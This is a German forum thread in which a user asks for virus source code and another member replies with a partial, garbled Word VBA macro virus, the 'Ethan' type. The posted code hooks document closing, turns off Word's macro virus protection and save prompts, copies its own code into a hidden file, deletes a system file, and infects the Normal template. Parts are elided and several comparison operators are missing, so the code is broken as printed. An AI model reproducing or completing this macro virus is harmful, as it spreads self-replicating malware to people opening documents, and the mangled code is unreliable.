Könnte mir jemand einen quellcode für ein virus schicken? E-mail: defaultuser100@bluemail.ch
Programmieren - alles kontrollieren 4.941 Themen, 20.708 Beiträge
REPI 
swiss1291 „Virus Quellcode“
So geht er los :
Private Sub Document_Close()
On Error Resume Next
s = ActiveDocument.Saved
Application.EnableCancelKey = Not -1
With Options: .ConfirmConversions = 0: .VirusProtection = 0: .SaveNormalPrompt = 0: End With
Randomize
If Dir("c:\ethan.___", 6) = "" Then
Open "c:\ethan.___" For Output As #1
For i = 1 To MacroContainer.VBProject.VBComponents.Item(1).CodeModule.CountOfLines
a = MacroContainer.VBProject.VBComponents.Item(1).CodeModule.Lines(i, 1)
Print #1, a
Next i
Close #1
SetAttr "c:\ethan.___", 6
End If
If Dir("c:\class.sys") "" Then Kill "c:\class.sys"
If NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.Lines(1, 1) "Private Sub
....
Else
t = ""
End If
If t "" Then
q:
Close #1
....
If Rnd If Left(ActiveDocument.Name, 8) "Document" Then ActiveDocument.SaveAs FileName:=ActiveDocument.FullName
End If
If ActiveDocument.Saved s Then ActiveDocument.Saved = s
End Sub
... und hier endet er, und dazwischen fehlt einiges !
Ist ein VB Macrovirus !
Hier kannst Du was darüber nachlesen !!
repi
